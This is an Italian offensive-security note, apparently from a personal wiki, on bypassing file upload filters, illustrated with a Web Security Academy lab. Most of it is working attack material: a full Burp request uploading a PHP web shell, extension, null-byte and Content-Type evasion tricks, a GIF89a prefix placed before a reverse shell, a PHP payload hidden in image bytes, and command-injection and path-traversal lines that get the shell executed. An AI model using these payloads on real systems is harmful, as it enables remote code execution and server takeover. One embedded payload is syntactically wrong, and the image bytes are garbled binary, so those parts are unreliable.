tags: File_Upload File_Upload_Estensioni File_Upload_Evasion


Molto spesso le applicazioni possiedono dei filtri immessi dagli sviluppatori che permettono di caricare solo i file che l’applicazione si aspetta di ricevere, ma se il server non verifica anche lui correttamente i filtri immessi possiamo facilmente bypassare questa protezione in due modi:

Burpsuite

Con Burpsuite si fa molto più velocemente perchè ci è sufficiente cambiare due parametri:

Richiesta originale:

POST /my-account/avatar HTTP/2
Host: 0a0400cc041365d280fb858d00590058.web-security-academy.net
Cookie: session=FbKLNnTrSzgQrozRUSssaeJk2Z2KLT9n
Content-Length: 455
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: https://0a0400cc041365d280fb858d00590058.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MT9IH4QgfBAy2mt
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7;
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0400cc041365d280fb858d00590058.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
 
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/x-php
 
<?php echo system($_GET['command']); ?>
 
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="user"
 
wiener
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="csrf"
 
FdeQMq6HX8tP4uMiBJFai1Usddo59YlL
------WebKitFormBoundary9MT9IH4QgfBAy2mt--

Per bypassare la restrizione sull’upload di file .php in questa richiesta, devi modificare due parti critiche nel Repeater di Burp Suite.

Passo 1: Modifica il Content-Type del file

Nel corpo della richiesta multipart, cambia il Content-Type del file PHP da application/x-php a un tipo accettato (es. image/jpeg):

------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
+Content-Type: image/jpeg # <!-- Modifica qui -->

Passo 2: Aggiorna il filename (opzionale, prima prova senza)

Cambia l’estensione nel filename per aggirare i controlli:

------WebKitFormBoundary9MT9IH4QgfBAy2mt
+Content-Disposition: form-data; name="avatar"; filename="webshell.php.jpg" # <!-- Aggiungi un'estensione fittizia -->

Una volta caricato il file vai alla pagina dove è stato caricato per eseguirlo in genere il percorso viene fornito nella risposta del server come per esempio https://0a0400cc041365d280fb858d00590058.web-security-academy.net/files/avatars/webshell.php.jpg

Problemi

Nel caso il file venisse caricato, ma non venisse eseguito perchè il server interpreta il php come un’immagine possiamo provare altre estensioni come per esempio:

 
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="avatar"; filename="webshell.phtml"
Content-Type: image/jpeg
 
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="avatar"; filename="webshell.php%00.jpg"
Content-Type: image/jpeg   #*(in Burp: dopo "%00" usa Ctrl+Click → "Insert byte" → 00)*
 
------WebKitFormBoundary9MT9IH4QgfBAy2mt
Content-Disposition: form-data; name="avatar"; filename="webshell.jpg"
Content-Type: application/x-php
 

Estensioni

Possiamo anche provare a caricare il file direttamente con estensioni modificate come per esempio file.php.jpg, file.phtlm, file.php5, ecc. fino a quando non riceviamo il contenuto del nostro payload.

Aggiunta di Byte all’inizio della Reverse Shell

Per evadere un blocco software che ti impedisce di caricare una reverse shell.php possiamo inserire come prima riga del codice php che vogliamo caricare, prima del codice stesso la seguente stringa:

GIF89a;

In modo che diventi:

GIF89a;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]

Ribatteziamo il file in reverse.php.png e siccome il parser controlla solo i primi byte penserà essere un file Gif perchè questa stringa GIF89a indica proprio Gif.

Inserimento Payload nell’immagine

Nel caso il cambiamento del content type non fosse sufficiente possiamo provare ad inserire un payload all’interno di una immagine legittima, per farlo possiamo utlizzare BurpSuite. Una volta caricata l’immagine ce la andiamo a recuperare tramite BurpSuite e la mandiamo al Reapeter, nella nostra richiesta appariranno tutti i Byte della nostra immagine e tra essi noi ci andremo ad inserire il nostro payload come nel seguente esempio:

£†Q@`ðâOV‘DK«{·.ýúôlÜÈÚÔĸ´´,==ãqPðé¿ÏþÃ1¥�P�^JZZZ±qñœ85qœ'õéÕýÂ¥«ú?÷c“'Œ8γJC©‰‰©‰Is'‡±£Gø?
غóë”ÔÔ*¯-.)©HÎZZ¦&&;¿Ü`l¬¢¯° PXö2aìè™Ó§2ÆÄM7jÒ¸ÑÀ~}V¾éá£ÇD4tð€ùsÞÖÐPËXZZXZZôíÝãëoT7ªM—V‹η¶²¬Y%‰™™iÇöíޘ2áû?úûÜ«q=Èåòõ_l;øÝ]"6dÐožÌÌ̪á%ú÷ÑÔÔ$"ιPÃ""ãâŸØ4mBDC
xᕈBÂÂÅessÓ¸å‚ÂB¥Ÿo$ÄùŠOwìà¦\ÆÒÂÜÒ¼g÷.7núnúrgYYY}÷Ò¢¹ãÂùsìm•W9ØÛzŽöÀÏûîoRŸv–~–MÓ&‹ÎwnáT凡vmÛ´kÛfÊÄqß|ÿÃù‹W^xÍ7³iúÁ{s[:Wêþ­§!ՓJ­­­ºuñ˜>mò¡ÃGOœ>£òåmÓ&×®ZÖèéÍÏD¤©©icÓÄÆ¦ÉÐAý¿ÿáбã§ðO4�¼ÐÅ� ~•ˆù=åiKã{óf?w·LÆØÒŧ¿1IL§IIÉwî=¸qÓ708DüïÚÖeǖõB€©P‹K”³ÁÌSU¦S"*{:ŠD"éӫǬo0ÆrrsÃÂ#Ÿ$$ŠC=ikK>]òŽŽNÏî]Ο£¡¡^PP'cìÝÙoÙÛÙ>»×¶.›>_-¦ÓâââˆÈ(?ÿǁÁ!¹yybž?÷mÏQÃ^™K"''÷¯3çŸ^š=ºv©¹üÐAå7š>|–ž.,_¼|MXpiÝR¼=õEÆHY¸¬££ó"#ºRڔêê¬^±TH§99¹aᑱqñ……3÷èÖeúÔIõÝEÇn[6¬Óin^Þ½û~^Þ>Š3Ƕwsݾy]“ƍTnÁÑÞnëæÏÅt*—ËSRRã⟈Ǧ««óáûó&Œ-¾äêõç.\U
ö—®^?wáò¹—Ï_ºZÇ#oéÜ|ÛëÄtZRR|ã¦ïÝû~âÇzRé»ï̜;û-Û²Š­‰‰ñë?ÒiJJjhxDBb’X€16{æ›U~��xI¡� „¶¯â’’Ýß|ÿùêO‰¨‘µÕ¤ñc…~³õ5vôˆ>½ºËQÑ1;÷ì	
<?php system[$_GET('cmd')] ?>
­øB,•ê¾9uÒèC‰ÈÄÄxéâ÷ß_¼LyÊMÎ9ç\hµ¶²ìÓ³»B¡8éêCÿGEEÅR©®XRèÕÄØhޜ™YÙÙ»ö|ë{û®M-Ì͖.^èÒº%xŽ6fÔðâââo¾?xáÒU!šêêê¼;{æÀþ}ˆHMMmäð!;¾Ú[é¿
õ-Z\9çûöüûìqZÆX×.î,xW__ˆfMãÆÍ[é靯Uqöü%1Û´su9ùיêJ¶mÓZQÊíu¯\›1m²ºº:
ØïÛ?½Ø#ÔÓÓ—óòò_d@UCxâø1n®m"£bö~w  0X¸º455èûî;3…w7jĐ#¿ÿQPPXÇí[X˜/_ò¡D"!¢‚½û\¼rMüIE¢¥å9jøô7&©©©™™™.[òÁû~ReZZ‰D²â“Åúú&?þüëù‹W„^µjjj:¼?ïc"š9}jPpH@P}ÿÃ!"ç9R$iï¾ÕõÅUI*Õ]±t±žT*|�ÿzìØñ“b¢&¢vmÛ,zo®ðƒŽçÈaƒnúTZüØjij~ðÞ»&&Æ^Þ¾~:œ””,¬7Ð×ëÍ)âˆÐ“'Œ½wßÿJÀË-¨��õ vнsï÷Óo“Ǎ~ŽV/#CÃéo”ßɖ˜ôñ§«•Ó)Éd{¿=püä_ÂCGûþ}{Uòò¯°ýûöbŒ­X³aÇW{¯yݼuçžrOQñ}NÚíe+×úܺ#®LMK߸e»ØóæÔ‰úúz·ì8sî¢ØpZPP¸ý«½IÉ)ÂÃNíÛU9’Îî,Ì̈́å?Oœ®2i¤0ªÐ¶]_‹9`¿>¯ÌU‘˜”œ‘™)FÐJ<P<¹>JÓÒdeeß}-ú÷ë­¡ñ‚>nÑÜQùh_䦕&Z1tPhxÄâ¥+‰WWiiéé3çOœú[Œ‹níÚÖ}óæ¾­««CDeeòe+×^

Come puoi vedere il nostro payload è inserito tra i byte <?php system[$_GET('cmd')] ?> per eseguire questa RCE ci basterà andare nella pagina con la nostra immagine ed eseguirla.

Nel caso l’immagine non venisse processata come codice php (cosa molto probabile) per farla eseguire come codice php abbiamo bisogno di altre vulnerabilità come per esempio una Command Injection o una LFI.

Command Injecton

Con la command injection ci basta rinominare il file con estensione php come nel seguente esempio:

| cp var/www/html/uploads/file.png  var/www/html/uploads/file.php

Local File Inclusion

Con la LFI ci basta andare nella pagina nella quale è presente l’immagine per eseguirla perchè interpreta l’immagine già come php

http://sito.com?file=../../../../uploads/file.png